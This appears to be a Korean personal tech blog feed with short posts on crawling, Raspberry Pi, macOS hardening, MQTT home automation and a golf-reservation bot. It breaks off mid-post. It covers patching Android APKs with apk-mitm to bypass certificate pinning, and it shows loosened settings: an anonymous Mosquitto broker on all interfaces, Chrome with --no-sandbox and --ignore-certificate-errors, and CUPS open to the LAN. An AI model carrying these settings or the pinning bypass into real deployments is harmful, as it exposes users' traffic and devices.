Sat, 07 Jun 2025 10:55:20 +0900

크롤링을 하다보면 팝업창을 제어해야 하는 경우가 많다. 이러한 팝업창의 '확인' 버튼을 눌러주지 않으면 더이상 진행이 되지 않아 크롤링에 문제가 생긴다.

1. 일반적인 팝업창 일반적인 팝업창은 아래 예시 코드와 같이 팝업창 발생시 핸들러가 동작해 제어토록 한다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


with sync_playwright() as playwright:
 browser = playwright.chromium.launch()
 page = context.new_page()

 # dialog 이벤트 핸들러 등록
 def on_dialog(dialog):
 print(f'[+] 팝업 내용 : {dialog.message}\n')
 dialog.accept()

 page.on('dialog', on_dialog)

 page.goto('https://google.com')

2. 모달창 모달창의 경우 현재 웹페이지 창의 크기에 따라 클릭이 안되는 경우가 있다. 이럴 경우 직접 자바스크립트를 실행시켜 '확인' 버튼을 눌러준다.

1
2


# 모달 확인 버튼 클릭
page.evaluate("document.getElementById('모달창 ID').click()")

즐거운 크롤링~!

라즈베리파이 정보 확인

Sun, 06 Apr 2025 21:14:55 +0900

보드 버전확인

1
2


pi@raspberrypi-1:~ $ cat /proc/device-tree/model
Raspberry Pi 3 Model B Plus Rev 1.3

OS 버전 확인

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


pi@raspberrypi-1:~ $ uname -a
Linux raspberrypi-1 6.1.21-v8+ #1642 SMP PREEMPT Mon Apr 3 17:24:16 BST 2023 aarch64 GNU/Linux
pi@raspberrypi-1:~ $ cat /etc/issue
Debian GNU/Linux 11 \n \l
pi@raspberrypi-1:~ $ cat /etc/*release*
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

bit 확인

1
2


pi@raspberrypi-1:~ $ getconf LONG_BIT
64

journalctl 명령어(-p 옵션 설명)

Sun, 06 Apr 2025 20:16:39 +0900

journalctl는?

journalctl은 systemd의 로그 시스템인 journald의 로그를 조회하는 도구입니다. -p 옵션은 로그의 우선순위(priority) 를 필터링하는 데 사용됩니다. 로그 우선순위는 중요도에 따라 분류되며, 각 우선순위는 특정 숫자로 나타낼 수 있습니다. -p 옵션 뒤에 숫자나 이름을 지정함으로써 원하는 우선순위 이상의 로그만 필터링하여 볼 수 있습니다.

journalctl -p 옵션 설명

journalctl -p 옵션 뒤에 사용되는 값은 우선순위(priority) 를 나타냅니다. 우선순위는 로그 메시지의 중요도를 나타내며, 0부터 7까지의 숫자로 표현됩니다. 이 숫자들은 syslog의 우선순위와 동일합니다. 각 우선순위는 다음과 같습니다.

우선순위(숫자)	우선순위(이름)	설명
0	emerg (Emergency)	시스템이 사용할 수 없거나, 심각한 장애가 발생한 경우 (시스템 종료를 요구하는 상황)
1	alert (Alert)	즉각적인 조치가 필요한 경우 (예: 중요한 시스템 파일이 손상됨)
2	crit (Critical)	치명적인 오류 (예: 서비스가 중단됨)
3	err (Error)	일반적인 오류 (예: 잘못된 설정, 작동하지 않는 프로그램)
4	warning (Warning)	경고 (예: 성능 저하나 비정상적인 동작)
5	notice (Notice)	정상적인 동작을 나타내는 중요하지 않은 메시지 (예: 서비스 시작)
6	info (Information)	일반적인 정보 메시지 (예: 로그, 상태 보고)
7	debug (Debug)	디버깅 메시지 (개발과 문제 해결을 위한 자세한 정보)

그 외 로그 관리에 유용한 몇가지 명령어는 다음과 같다.

1000개의 로그만 남고 나머지는 자동 삭제

1

journalctl --vacuum-files=1000

10일 동안 로그만 남고 나머지 자동 삭제

1

journalctl --vacuum-time=10d

AWS Lightsail swap 메모리 추가하기

Sat, 05 Apr 2025 22:37:34 +0900

라이트세일 최저 사양은 메모리가 512MB지만 용량은 20GB로 넉넉하다. 설치시 앱이 포함된 인스턴스는 적절하게 스왑이 자동으로 생성되어 있는것으로 보인다.

하지만 OS 전용으로 생성시 스왑이 설정되어 있지 않다. 이에 남는 용량을 스왑으로 설정해 활용하자.

1
2
3
4
5
6
7


$ sudo fallocate -l 4G /swapfile
$ sudo chmod 600 /swapfile
$ sudo mkswap /swapfile
$ sudo swapon /swapfile
$ free -h
$ sudo vim /etc/fstab
/swapfile none swap sw 0 0

crontab 추가시 생성되는 'Legacy Background Tasks' 항목 삭제

Sat, 05 Apr 2025 01:33:24 +0900

crontab을 추가하면 macOS에서 자동으로 아래 항목이 추가 된다.

시스템 설정 > 일반 > 로그인 항목 및 확장 프로그램 > 백그라운드에서 허용 'Legacy Background Tasks'

이걸 아무리 지워보려해도 지워지지 않았는데 아래와 같이 하고 지워졌다.

1
2


jjoon@mac ~ % crontab -r
jjoon@mac ~ % sfltool resetbtm

이후 재부팅을 하면 삭제가 된걸 볼 수 있다.

[ 참고 링크 ]

맥OS 보안 설정

Sun, 30 Mar 2025 21:15:09 +0900

macOS의 새 복사본 설치하기

이전의 잘못된 구성을 피하기 위해 깨끗하게 시작하는 것이 가장 좋습니다. Apple 지원 가이드를 따르십시오.

자동 소프트웨어 업데이트

시스템에 최신 소프트웨어 패치가 설치되어 있는지 확인하십시오.
시스템 설정 > 일반 > 소프트웨어 업데이트 > 자동 업데이트로 이동하여 모두 확인하십시오.

서명되지 않은 소프트웨어

잠재적인 악성 소프트웨어가 실행되는 것을 방지하기 위해 설정하십시오.
시스템 설정 > 개인 정보 보호 및 보안 > 보안으로 이동하여 "다음에서 응용 프로그램 허용"을 최대 App Store 및 Known Developers로 설정하십시오.

인바운드 네트워크 방화벽

네트워크 기반 공격에 대한 노출을 줄이기 위해 사용하십시오.
시스템 설정 > 네트워크 > 방화벽으로 이동하여 활성화하고 "들어오는 모든 연결 차단"을 설정하십시오. 다만 사용자 경험을 저하시킬 수 있습니다.

네트워크 서비스

네트워크 기반 공격에 대한 노출을 줄이기 위해 비활성화 하십시오.
시스템 설정 > 일반 > 공유로 이동하여 사용하지 않는 모든 서비스를 선택 취소합니다.

불필요한 응용 프로그램 액세스

악성 소프트웨어의 잠재적인 영향을 제한합니다.
개인 정보 보호 및 보안 > 개인 정보 보호 > 카메라의 시스템 >설정으로 이동하여 불필요한 모든 액세스를 선택 취소하십시오. 이후 마이크와 같은 다른 권한에 대해 이 작업을 반복합니다.

Safari가 다운로드를 자동으로 열지 못하도록 방지

Safari > 설정 > 일반으로 이동하여 "다운로드 후 '안전한' 파일 열기"를 비활성화합니다.

모든 파일 이름 확장자 표시

Finder > 설정 > 고급으로 이동하여 "모든 파일 이름 확장자 표시"를 선택합니다.

Enable Terminal secure keyboard entry

다른 앱이 사용자가 입력하는 내용을 스누핑하는 것을 방지합니다.
터미널 Terminal.app > 메뉴 표시줄로 이동하여 "Secure Keyboard Entry"를 클릭합니다.

기타

https://github.com/drduh/macOS-Security-and-Privacy-Guide

출처: https://www.bejarano.io/hardening-macos/

msi 파일 압축 해제하기

Sun, 23 Mar 2025 01:26:48 +0900

가끔 msi로 된 파일 내부 파일을 추출하여 악성코드를 검사할 필요가 있을때가 있다. 그럴때 유용한 명령어라고 생각한다.

1

msiexec /a 파일명.msi targetdir="c:\temp" /qn

라즈베리파이에서 Selenium 사용시 발생하는 에러 대처

Sun, 23 Mar 2025 00:01:02 +0900

한동안 크롤링 스크립트를 잘 운영하다 어느날부터 아래와 같은 에러가 발생.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


 File "/home/pi/apti/lib/driver_open_close.py", line 23, in open_Driver
 driver = webdriver.Chrome(service=service, options=options)
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 File "/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/chrome/webdriver.py", line 45, in __init__
 super().__init__(
 File "/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/chromium/webdriver.py", line 66, in __init__
 super().__init__(command_executor=executor, options=options)
 File "/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/remote/webdriver.py", line 250, in __init__
 self.start_session(capabilities)
 File "/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/remote/webdriver.py", line 342, in start_session
 response = self.execute(Command.NEW_SESSION, caps)["value"]
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 File "/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/remote/webdriver.py", line 429, in execute
 self.error_handler.check_response(response)
 File "/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/remote/errorhandler.py", line 232, in check_response
 raise exception_class(message, screen, stacktrace)
selenium.common.exceptions.SessionNotCreatedException: Message: session not created: Chrome failed to start: exited normally.
 (session not created: DevToolsActivePort file doesn't exist)
 (The process started from chrome location /usr/bin/chromium is no longer running, so ChromeDriver is assuming that Chrome has crashed.)
Stacktrace:
#0 0x005559c72b50 <unknown>
#1 0x0055597effe4 <unknown>
#2 0x0055598214a8 <unknown>
#3 0x00555981da1c <unknown>
#4 0x005559862014 <unknown>
#5 0x0055598618c0 <unknown>
#6 0x0055598279b0 <unknown>
#7 0x0055598286c8 <unknown>
#8 0x005559c46958 <unknown>
#9 0x005559c49948 <unknown>
#10 0x005559c4952c <unknown>
#11 0x005559c38640 <unknown>
#12 0x005559c49f84 <unknown>
#13 0x005559c230a0 <unknown>
#14 0x005559c62404 <unknown>
#15 0x005559c625ec <unknown>
#16 0x005559c71b44 <unknown>
#17 0x007f90deee8c <unknown>
#18 0x007f90e57b18 <unknown>

일단 버전을 확인하라고 하여 확인해봤으나 문제 없었습니다.

1
2
3
4


$ /usr/bin/chromium --version
Chromium 130.0.6723.116 built on Debian GNU/Linux 12 (bookworm)
$ /usr/bin/chromedriver --version
ChromeDriver 130.0.6723.116 (6ac35f94ae3d01152cf1946c896b0678e48f8ec4-refs/branch-heads/6723@{#1764})

그 외 크롬 실행 옵션에서 '--no-sandbox' 옵션값을 제일 위로 올려봐라는 등 여러 조치사항을 확인하고 적용해봤지만 문제는 해결되지 않았습니다.

그리고 마지막으로 아래와 같은 조치를 취하고 해결되었습니다.

1
2
3
4
5
6


$ sudo apt-get remove chromium
$ sudo apt-get remove chromium-driver

$ pip install --upgrade selenium
$ sudo apt-get install chromium
$ sudo apt-get install chromium-chromedriver

아래는 제가 크롤링에 사용중인 크롬 옵션값 입니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


options.add_argument('--no-sandbox') # 샌드박스 비활성화
options.add_argument('--headless=new') # 헤드레스
options.add_argument('--ignore-certificate-errors') # 인증서 에러 무시
options.add_argument('--incognito') # 익명화
options.add_argument('--lang=ko_KR') # 언어 설정
options.add_argument('--window-size=1920x1080') # pc용 사이즈
options.add_argument('--start-maximized') # 브라우저가 최대화된 상태로 실행
options.add_argument('--disable-gpu') # 하드웨어 가속화 끔
options.add_argument('--disable-software-rasterizer') # 소프트웨어 랜더링 가속화 끔
options.add_argument('--disable-dev-shm-usage') # 공유메모리 사용 끔
options.add_argument('--blink-settings=imagesEnabled=false') # 이미지 로딩 비활성화
options.add_argument('--disable-extensions') # 확장 비활성화

임시 작성글

Tue, 31 Dec 2024 01:06:04 +0900

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119


import time
import sys
import os

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from webdriver_manager.chrome import ChromeDriverManager

wait_sec = 2

########################################################################
id = 'ID' # 아이디
pw = 'PW' # 비밀번호
date = '01.22' # 예약 날짜 (Ex: 01.02)
where = 'PARK' # PARK or VALLEY
whattime = '09:37' # 예약 시간 (Ex: 11:20)
########################################################################

def open_Driver():
 options = Options()
 options.add_argument('--user-agent=Mozilla/5.0 (Linux; Android 13; SM-G991N Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/102.0.5005.189 Whale/1.0.0.0 Crosswalk/27.102.0.30 Mobile Safari/537.36 NAVER(inapp; search; 2000; 12.3.7)')
 options.add_argument('--headless=new') # 헤드레스
 options.add_argument('--incognito') # 익명화
 options.add_argument('--lang=ko_KR') # 언어 설정
 options.add_argument('--window-size=1920x1080') # pc용 사이즈
 options.add_argument('--start-maximized') # 브라우저가 최대화된 상태로 실행
 options.add_argument('--disable-gpu') # 하드웨어 가속화 끔
 options.add_argument('--disable-software-rasterizer') # 소프트웨어 랜더링 가속화 끔
 options.add_argument('--disable-dev-shm-usage') # 공유메모리 사용 끔
 options.add_argument('--blink-settings=imagesEnabled=false') # 이미지 로딩 비활성화
 options.add_argument('--no-sandbox') # 샌드박스 비활성화
 #options.add_experimental_option("detach", True) # 창 종료 방지

 service = Service(executable_path=ChromeDriverManager().install())
 driver = webdriver.Chrome(service=service, options=options)

 return driver

def close_Driver(driver):
 driver.quit()

def login(driver, id, pw):
 login_url = 'https://www.parkvalley.co.kr/Mobile/Member/LogIn.aspx'
 driver.get(login_url)

 xpath_id = '//input[@id="ctl00_contents_userID"]'
 xpath_pw = '//input[@id="ctl00_contents_userPassword"]'
 xpath_btn = '//a[@class="loginBtn"]'

 wait = WebDriverWait(driver, wait_sec)
 wait.until(EC.presence_of_element_located((By.XPATH, xpath_id)))
 driver.find_element(By.XPATH, xpath_id).send_keys(id)
 driver.find_element(By.XPATH, xpath_pw).send_keys(pw)
 driver.find_element(By.XPATH, xpath_btn).click() 

def booking(driver, where, date, whattime):
 book_url = 'https://www.parkvalley.co.kr/Mobile/Booking/ReservationCalendar.aspx'
 driver.get(book_url)

 xpath_date = f'//a[text()="{date}"]'
 xpath_time = f'//tr[td[1]="{where}" and td[2]="{whattime}"]/td/a'
 xpath_btn = '//a[@id="ctl00_contents_lnkBtnReserveOk"]'

 wait = WebDriverWait(driver, wait_sec)
 wait.until(EC.presence_of_element_located((By.XPATH, xpath_date)))
 driver.find_element(By.XPATH, xpath_date).click()

 wait.until(EC.presence_of_element_located((By.XPATH, xpath_time)))
 driver.find_element(By.XPATH, xpath_time).click()
 driver.find_element(By.XPATH, xpath_btn).click()

 # 팝업창 뜰때 확인 버튼 누름
 driver.switch_to.alert.accept()

 time.sleep(1)

 # 팝업창 뜰때 확인 버튼 누름
 driver.switch_to.alert.accept()

 return True

def main():
 print(f'[+] Start ({time.strftime("%Y.%m.%d - %H:%M:%S")})')

 try:
 driver = open_Driver()
 login(driver, id, pw)

 while True:
 try:
 if booking(driver, where, date, whattime):
 close_Driver(driver)
 print('\n[-] End!')
 break

 except Exception as e:
 exc_type, exc_obj, exc_tb = sys.exc_info()
 fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
 print(f'file name: {str(fname)}')
 print(f'error type: {str(exc_type)}')
 print(f'error msg: {str(e)}')
 print(f'line number: {str(exc_tb.tb_lineno)}')
 time.sleep(1)
 continue

 except Exception as e:
 exc_type, exc_obj, exc_tb = sys.exc_info()
 fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
 print(f'file name: {str(fname)}')
 print(f'error type: {str(exc_type)}')
 print(f'error msg: {str(e)}')
 print(f'line number: {str(exc_tb.tb_lineno)}')

if __name__ == '__main__':
 main()

파이썬 설치

먼저, 파이썬이 설치되어 있어야 합니다.

파이썬 다운로드: Python 공식 웹사이트에서 파이썬 최신 버전을 다운로드하여 설치합니다. 설치 시 "Add Python to PATH" 옵션을 선택하여 환경 변수에 추가하도록 합니다.

Selenium 설치

Selenium은 웹 자동화 도구로, Python에서 사용할 수 있도록 pip을 통해 설치해야 합니다.

1

설치 명령 : pip install selenium

웹 드라이버 설치

Selenium은 웹 브라우저를 자동으로 제어하려면 해당 브라우저에 맞는 웹 드라이버가 필요합니다. 예를 들어, Chrome 브라우저를 사용할 경우 ChromeDriver가 필요합니다. ChromeDriverManager는 사용 중인 Chrome 브라우저 버전에 맞는 최신 ChromeDriver를 자동으로 다운로드하여 설치합니다. 이 방법이 훨씬 편리합니다.

1

설치 명령 : pip install webdriver-manager

잉크젯 프린터 노즐 막힘 방지용 라즈베리파이 설정

Sat, 07 Sep 2024 01:14:11 +0900

최근 잉크젯 프린터를 구입하며 노즐 막힘 예방을 위해 일주일에 한번씩 자동으로 테스트 페이지를 인쇄하도록 라즈베리파이를 통해 구성해보았다.

cups 설치

1
2


$ sudo apt-get update
$ sudo apt-get install cups

cups 설정파일 수정

1

$ sudo vi /etc/cups/cupsd.conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


# Only listen for connections from the local machine.
-Listen localhost:631
+#Listen localhost:631
+Port 631

# Restrict access to the server...
<Location />
 Order allow,deny
+ Allow @Local
</Location>

# Restrict access to the admin pages...
<Location /admin>
 Order allow,deny
+ Allow @Local
</Location>

# Restrict access to configuration files...
<Location /admin/conf>
 AuthType Default
 Require user @SYSTEM
 Order allow,deny
+ Allow @Local
</Location>

# Restrict access to log files...
<Location /admin/log>
 AuthType Default
 Require user @SYSTEM
 Order allow,deny
+ Allow @Local
</Location>

cups 재시작 및 프린터 추가

1

$ sudo service cups restart

http://라즈베리파이:631 로 접속하여 프린터를 추가. 다만 나의 경우 자동으로 추가되어 있어 테스트 페이지가 정상 출력되는지만 확인했음.

기본 프린터로 지정 및 예약작업 추가

1

$ lpoptions -d 프린터명

crontab에아래 라인 추가

1
2


# 매주 금요일 오후 8:00 인쇄
0 20 * * 5 /usr/bin/lp /usr/share/cups/data/testprint

Living off the Land(LotL) 공격과 LOLBAS 프로젝트

Sat, 24 Aug 2024 08:53:40 +0900

Living off the Land의 사전적 의미는 땅에서 생활하기, 자급자족 이런 의미로 보이는데
악성코드 분야에서 의미는 시스템 안에서 자급자족 한다는 의미가 되겠다.

즉, 시스템에서 제공하는 여러 명령어를 활용한다는 의미로 악성코드의 AV 회피, 다운사이징 등에 활용되고 있다.

이와 관련 'LOLBAS 프로젝트'가 있는데 해당 프로젝트의 목표는 Living off the Land 기술에 사용할 수 있는 모든 바이너리, 스크립트 및 라이브러리를 문서화하는 것이다.

윈도우 : https://lolbas-project.github.io/ UNIX : https://gtfobins.github.io/

thinqconnect 모듈을 활용한 LG기기 Smartthings 연동하기

Sun, 18 Aug 2024 00:41:00 +0900

개요

최근 LG에서 thinqconnect 파이썬 모듈을 발표했음을 확인했습니다. 이를 활용해 집에 있는 LG 가전들의 상태를 Smartthings로 불러오는 작업을 해보았습니다.

구성도

집에 있는 라즈베리파이에 아래와 같이 구성을 할 예정입니다.

thinqconnect <-> MQTT <-> Smartthings

Smartthings의 MQTT 처리는 지난 공휴일 스위치 만들기에서 사용한 MQTTDevices를 활용할 예정입니다.

thinqconnect 설치 및 테스트

thinqconnect를 먼저 설치해봅시다. 저의 경우 venv로 가상환경을 만들어 작업을 진행하였습니다.

1
2
3


pi@raspberrypi:~ $ python -m venv .test
pi@raspberrypi:~ $ source .test/bin/activate
(.test) pi@raspberrypi:~ $ pip install thinqconnect

그리고 thinqconnect 모듈 사이트의 예제 코드를 실행해봅시다. thinqconnect : https://pypi.org/project/thinqconnect/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


import asyncio
from aiohttp import ClientSession
from thinqconnect.thinq_api import ThinQApi
import uuid

client_id = str(uuid.uuid4())

async def test_devices_list():
 async with ClientSession() as session:
 thinq_api = ThinQApi(session=session, access_token='your_personal_access_token', country_code='KR', client_id=client_id)
 response = await thinq_api.async_get_device_list()
 print("device_list : %s", response)

asyncio.run(test_devices_list())

위 예제 코드 실행을 위해서는 토큰이 필요한데 토큰은 아래 사이트에서 발급 받습니다.
토큰 발급 : https://connect-pat.lgthinq.com/tokens

MQTT 서버 설정

라즈베리파이에 MQTT Broker와 파이썬용 MQTT 모듈을 설치합니다.

1
2


(.test) pi@raspberrypi:~ $ sudo apt install mosquitto mosquitto-clients python3 python3-pip
(.test) pi@raspberrypi:~ $ pip install paho-mqtt

그리고 정상적으로 동작하는지 확인합니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


pi@raspberrypi:~ $ sudo systemctl enable mosquitto
Synchronizing state of mosquitto.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable mosquitto
pi@raspberrypi:~ $ sudo systemctl status mosquitto
● mosquitto.service - Mosquitto MQTT Broker
 Loaded: loaded (/lib/systemd/system/mosquitto.service; enabled; vendor preset: enabled)
 Active: active (running) since Wed 2023-01-25 10:19:30 GMT; 23s ago
 Docs: man:mosquitto.conf(5)
 man:mosquitto(8)
 Main PID: 1688 (mosquitto)
 Tasks: 1 (limit: 779)
 CPU: 78ms
 CGroup: /system.slice/mosquitto.service
 └─1688 /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf

Jan 25 10:19:30 raspberrypi systemd[1]: Starting Mosquitto MQTT Broker...
Jan 25 10:19:30 raspberrypi systemd[1]: Started Mosquitto MQTT Broker.
pi@raspberrypi:~ $ 

그리고 Mosquitto 설정 파일(/etc/mosquitto/mosquitto.conf)에 아래 내용을 추가합니다.

1
2


allow_anonymous true
bind_address 0.0.0.0

Smartthings용 MQTT 기기 추가

스마트싱스에서 활용 가능한 MQTT 장치 드라이버가 있습니다. 해당 드라이버를 활용하면 스위치를 생성해 앞서 설정한 MQTT서버와 연동하여 상태를 반영할 수 있습니다.

MQTTDevices : https://github.com/toddaustin07/MQTTDevices Smartthings Edge Driver : https://bestow-regional.api.smartthings.com/invite/Q1jP7BqnNNlL

위 드라이버를 설치하고 나면 'MQTT Device Creator'가 생성되는데 아래와 같이 앞서 설정한 MQTT 서버 IP를 입력합시다.

그리고 MQTT 가상 스위치를 생성할 수 있는데 토픽은 "lg-styler"로 명명하고 스위치의 ON / OFF 값을 on / off로 설정해주었습니다.

코드 작성 및 자동화 구성

이제 thinqconnect를 통해 LG 장치 정보를 받아와서 MQTT로 보내주는 코드를 작성해봅시다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


import asyncio
from datetime import datetime
from aiohttp import ClientSession
from thinqconnect.thinq_api import ThinQApi
import paho.mqtt.client as mqtt

broker_address = 'localhost'
broker_port = 1883
client_id = 'str(uuid.uuid4())로 생성'

async def checkDevice(client_id):
 POWER_ON_Check = False
 async with ClientSession() as session:
 try:
 thinq_api = await ThinQApi(session = session, access_token = '토큰', country_code = 'KR', client_id = client_id)

 # 디바이스 목록을 받아 옴
 response = await thinq_api.async_get_device_list()
 devices_list = response
 print(devices_list) 

 if devices_list != None:

 try:
 print('[+] 스타일러')
 response = await thinq_api.async_get_device_status(devices_list[0]['deviceId'])

 if response != None:
 #print(response['runState']['currentState'])
 if response['runState']['currentState'] == 'POWER_OFF':
 client.publish('lg-styler', 'off')
 elif response['runState']['currentState'] == 'COMPLETE':
 client.publish('lg-styler', 'off')
 else:
 client.publish('lg-styler', 'on')
 POWER_ON_Check = True
 else:
 client.publish('lg-styler', 'off')
 except Exception as e:
 print(datetime.now().strftime('[%Y-%m-%d-%a %H:%M:%S] ') + f"Error while checking device {devices_list[0]['deviceId']}: {e}")

 try:
 print('[+] 세탁기')
 response = await thinq_api.async_get_device_status(devices_list[1]['deviceId'])

 if response != None:
 #print(response[0]['runState']['currentState'])
 if response[0]['runState']['currentState'] == 'POWER_OFF':
 client.publish('lg-washer', 'off')
 elif response[0]['runState']['currentState'] == 'END':
 client.publish('lg-washer', 'off')
 else:
 client.publish('lg-washer', 'on')
 POWER_ON_Check = True
 else:
 client.publish('lg-washer', 'off')
 except Exception as e:
 print(datetime.now().strftime('[%Y-%m-%d-%a %H:%M:%S] ') + f"Error while checking device {devices_list[1]['deviceId']}: {e}")

 else:
 print(datetime.now().strftime('[%Y-%m-%d-%a %H:%M:%S] ') + '[-] Device list is NULL.')

 return POWER_ON_Check

 except Exception as e:
 print(datetime.now().strftime('[%Y-%m-%d-%a %H:%M:%S] ') + '[-] Exception : checkDevice()')
 print(e)
 await asyncio.sleep(600)

async def main():
 while True:
 POWER_ON_Check = await checkDevice(client_id)

 if POWER_ON_Check:
 await asyncio.sleep(30)
 else:
 await asyncio.sleep(600)

client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2, 'lg')
print('[+] Connect to broker')
client.connect(host=broker_address, port=broker_port)
client.loop_start()

# main 함수를 호출하여 asyncio 이벤트 루프를 관리
try:
 asyncio.run(main())
except KeyboardInterrupt:
 client.loop_stop()
 client.disconnect()

참고로 스타일러 상태값은 아래 페이지에서 확인하실 수 있습니다. https://thinq.developer.lge.com/ko/cloud/docs/thinq-connect/device-profile/styler/

그리고 crontab에 아래와 같이 추가하여 자동 실행에 추가합니다.

@reboot sleep 10; /home/pi/.test/bin/python /home/pi/MQTT/lg-sync.py >> /home/pi/MQTT/lg-sync.log 2>&1

마지막으로 자동화를 추가 합니다. 저의 경우 스타일러 작동이 끝나면 스피커에서 안내 멘트가 나오도록 설정하였습니다.

thniqconnect 에러 관련

thniqconnect 모듈은 주기적으로 업데이트 중에 있으며 코드 또한 변경중에 있습니다. 제가 겪었던 에러는 아래와 같이 해결했으니 참고하시기 바랍니다.

ImportError: cannot import name 'StrEnum' from 'enum'

1
2
3


File "/home/pi/.venv/lib/python3.9/site-packages/thinqconnect/devices/const.py", line 1, in <module>
 from enum import StrEnum, auto
ImportError: cannot import name 'StrEnum' from 'enum' (/usr/lib/python3.9/enum.py)

Python 3.11 버전 이하면 아래와 같이 strenum 모듈을 설치하고 코드를 수정해주면 됩니다.

1
2
3
4
5
6


pi@raspberrypi:~/MQTT $ pip install strenum
Looking in indexes: https://pypi.org/simple, https://www.piwheels.org/simple
Collecting strenum
 Using cached https://www.piwheels.org/simple/strenum/StrEnum-0.4.15-py3-none-any.whl (8.9 kB)
Installing collected packages: strenum
Successfully installed strenum-0.4.15

1
2
3
4


# /home/pi/.venv/lib/python3.9/site-packages/thinqconnect/devices/const.py
-from enum import StrEnum, auto
+from enum import auto
+from strenum import StrEnum

참고 : https://stackoverflow.com/questions/75040733/is-there-a-way-to-use-strenum-in-earlier-python-versions

TypeError: unsupported operand type(s)

1
2
3


File "/home/pi/.venv/lib/python3.9/site-packages/thinqconnect/devices/washcombo.py", line 25, in WashcomboDevice
 async def set_washer_operation_mode(self, operation: str) -> dict | None:
TypeError: unsupported operand type(s) for |: 'type' and 'NoneType'

1
2
3
4


# /home/pi/.venv/lib/python3.9/site-packages/thinqconnect/devices/washcombo.py
+import typing
-async def set_washer_operation_mode(self, operation: str) -> dict | None:
+async def set_washer_operation_mode(self, operation: str) -> typing.Union[dict, None]:

참고 : https://stackoverflow.com/questions/69440494/python-3-10-optionaltype-or-type-none

참고

thinqconnect 모듈 관련 네이버 카페 소개글 https://cafe.naver.com/stsmarthome/90711 https://cafe.naver.com/stsmarthome/90747 https://cafe.naver.com/stsmarthome/90783

안드로이드 앱 HTTPS 패킷 분석

Wed, 13 Mar 2024 02:29:45 +0900

일반적으로 HTTPS 패킷은 Burp Suite 인증서를 설치해 MITM 공격을 통해 확인할 수 있다.

하지만 안드로이드 7.0부터는 사용자 인증서를 신뢰하지 않도록 하는 옵션(SSL-Pinning)이 디폴트로 설정되어 있다.

참조 : https://developer.android.com/privacy-and-security/security-config?hl=ko#CustomTrust

따라서 안드로이드 apk 파일을 아래와 같이 조작해줄 필요가 있다.

1

APK 언패키징 -> 인증서 관련 설정 변경 -> APK 리패키징 -> APK 서명

이러한 과정을 차근차근 할수도 있겠지만 이를 쉽게해주는 툴로 'apk-mitm'이 있는데 아래 링크에서 설치가 가능하다.

APK-MITM : https://github.com/shroudedcode/apk-mitm

참고로 APK-MITM은 npm으로 설치가 가능하며 nodejs는 NVM(Node Version Manager)을 통해 설치하자.

NVM : https://github.com/nvm-sh/nvm

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


jjoon@J:~$ apk-mitm 2.apk

 ╭ apk-mitm v1.2.1
 ├ apktool v2.6.1
 ╰ uber-apk-signer v1.2.1

 Using temporary directory:
 /tmp/apk-mitm-3e5a10bcc3fec2831f230a22b8c4ad68

 ✔ Checking prerequisities
 ✔ Decoding APK file
 ✔ Applying patches
 ✔ Encoding patched APK file
 ✔ Signing patched APK file

 Done! Patched file: ./2-patched.apk

jjoon@J:~$

Selenium <-> Requests간 쿠키 사용하기

Sun, 10 Mar 2024 23:36:17 +0900

웹 크롤링 시 Selenium과 requests에서 상호 쿠키를 사용할 필요가 있다. 아래 코드로 셀레니움으로 로그인 및 쿠키를 저장하고 활용해보자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
